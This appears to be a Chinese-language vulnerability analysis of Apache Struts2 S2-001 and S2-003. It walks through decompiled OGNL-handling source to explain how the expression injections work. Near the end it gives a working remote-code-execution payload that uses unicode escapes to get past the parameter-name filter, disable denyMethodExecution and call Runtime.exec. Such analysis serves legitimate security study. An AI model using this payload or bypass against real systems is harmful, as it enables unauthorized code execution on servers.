S2-001 在解析一个标签如 <s:textfield name="username" label="用户名"/>
,在标签的开始和结束位置,会分别调用对应实现类如org.apache.struts2.views.jsp.ComponentTagSupport
中的 doStartTag()
及 doEndTag()
方法:
doStartTag()
:获取一些组件信息和属性赋值,总之是些初始化的工作
doEndTag()
:在标签解析结束后需要做的事,如调用组件的 end()
方法
doEndTag
方法最终会调用到TextParseUtil#translateVariables
其中使用while循环对标签使用Ognl进行循环解析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 public static Object translateVariables (char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator) { Object result = expression; while (true ) { int start = expression.indexOf(open + "{" ); int length = expression.length(); int x = start + 2 ; int count = 1 ; while (start != -1 && x < length && count != 0 ) { char c = expression.charAt(x++); if (c == '{' ) { ++count; } else if (c == '}' ) { --count; } } int end = x - 1 ; if (start == -1 || end == -1 || count != 0 ) { return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType); } String var = expression.substring(start + 2 , end); Object o = stack.findValue(var , asType); if (evaluator != null ) { o = evaluator.evaluate(o); } String left = expression.substring(0 , start); String right = expression.substring(end + 1 ); if (o != null ) { if (TextUtils.stringSet(left)) { result = left + o; } else { result = o; } if (TextUtils.stringSet(right)) { result = result + right; } expression = left + o + right; } else { result = left + right; expression = left + right; } } }
如果在username处传递${3*7}
第一次为解析${username}
,由于在 Struts 收到对应的 action 请求时,将 Action 对象的相关属性都放在了OgnlValueStack 的 root 对象中,此时由于是根节点的属性, OGNL 可以不使用 “#” 直接使用名称获得,也就获得我们输入的恶意表达式${3*7}
,然后循环继续解析触发漏洞
修复:把while(true) 去掉了
S2-003 Struts2在DefaultActionInvocation#invoke中会循环执行拦截器(Interceptor)的doIntercept方法
有一个拦截器为ParametersInterceptor
,其doIntercept方法调用了this.setParameters(action, stack, parameters)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 protected void setParameters (Object action, ValueStack stack, Map parameters) { ParameterNameAware parameterNameAware = action instanceof ParameterNameAware ? (ParameterNameAware)action : null ; Map params = null ; if (this .ordered) { params = new TreeMap (this .getOrderedComparator()); params.putAll(parameters); } else { params = new TreeMap (parameters); } Iterator iterator = params.entrySet().iterator(); while (true ) { Map.Entry entry; String name; boolean acceptableName; do { if (!iterator.hasNext()) { return ; } entry = (Map.Entry)iterator.next(); name = entry.getKey().toString(); acceptableName = this .acceptableName(name) && (parameterNameAware == null || parameterNameAware.acceptableParameterName(name)); } while (!acceptableName); Object value = entry.getValue(); try { stack.setValue(name, value); } catch (RuntimeException var13) { if (devMode) { String developerNotification = LocalizedTextUtil.findText(ParametersInterceptor.class, "devmode.notification" , ActionContext.getContext().getLocale(), "Developer Notification:\n{0}" , new Object []{var13.getMessage()}); LOG.error(developerNotification); if (action instanceof ValidationAware) { ((ValidationAware)action).addActionMessage(developerNotification); } } else { LOG.error("ParametersInterceptor - [setParameters]: Unexpected Exception caught setting '" + name + "' on '" + action.getClass() + ": " + var13.getMessage()); } } } }
this.acceptableName(name)
限制参数名中不能出现= , # :
1 2 3 protected boolean acceptableName (String name) { return name.indexOf(61 ) == -1 && name.indexOf(44 ) == -1 && name.indexOf(35 ) == -1 && name.indexOf(58 ) == -1 && !this .isExcluded(name); }
然后调用stack.setValue(name, value)
name为参数名,value为参数值
1 2 3 public static void setValue (String name, Map context, Object root, Object value) throws OgnlException { Ognl.setValue(compile(name), context, root, value); }
在OGNL中,根据表达式的不同会使用不同的构造树来进行处理,compile方法即决定构造树的类型 如果为(aaa)(bbb)
的形式后续会调用ASTEval
进行处理
接着调用OgnlUtil.setValue(expr, context, this.root, value)
expr为参数名, value为参数值
然后经过一系列调用会到ASTEval#getValueBody
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 protected Object getValueBody (OgnlContext context, Object source) throws OgnlException { Object expr = super .children[0 ].getValue(context, source); Object previousRoot = context.getRoot(); source = super .children[1 ].getValue(context, source); Node node = expr instanceof Node ? (Node)expr : (Node)Ognl.parseExpression(expr.toString()); Object result; try { context.setRoot(source); result = node.getValue(context, source); } finally { context.setRoot(previousRoot); } return result; }
对于(one)(two)
解析流程:
取第一个节点,也就是 one,调用其 getValue()
方法计算其值,放入 expr 中;
取第二个节点,也就是 two,赋值给 source ;
判断 expr 是否为 node 类型,如果不是,则调用 Ognl.parseExpression()
尝试进行解析,解析的结果强转为 node 类型;
将 source 放入 root 中,调用 node 的 setValue()
方法对其进行解析;
还原之前的 root。
但若传递参数
1 (@java.lang.Runtime@getRuntime().exec('open -a Calculator'))('aaa')=1
无法实现RCE 通过debug可以发现在XWorkMethodAccessor#callStaticMethod
方法从context中取出xwork.MethodAccessor.denyMethodExecution
,并判断其是否为false,若为false才能执行静态方法
1 2 3 4 5 public Object callStaticMethod (Map context, Class aClass, String string, Object[] objects) throws MethodFailedException { Boolean exec = (Boolean)context.get("xwork.MethodAccessor.denyMethodExecution" ); boolean e = exec == null ? false : exec; return !e ? super .callStaticMethod(context, aClass, string, objects) : null ; }
我们只需要将context.XWorkMethodAccessor修改为false即可
但是过滤了#
和=
,在对表达式进行解析时,由于在 OgnlParserTokenManager
方法中使用了 ognl.JavaCharStream#readChar()
方法,在读到 \\u
的情况下,会继续读入 4 个字符,并将它们转换为 char,因此 OGNL 表达式实际上支持了 unicode 编码,这就绕过了之前正则或者字符串判断的限制。 最终Exp如下:
1 (\u0023context['xwork.MethodAccessor.denyMethodExecution']\u003dfalse)(a )(@java.lang.Runtime@getRuntime().exec('open -a Calculator'))(b )=xux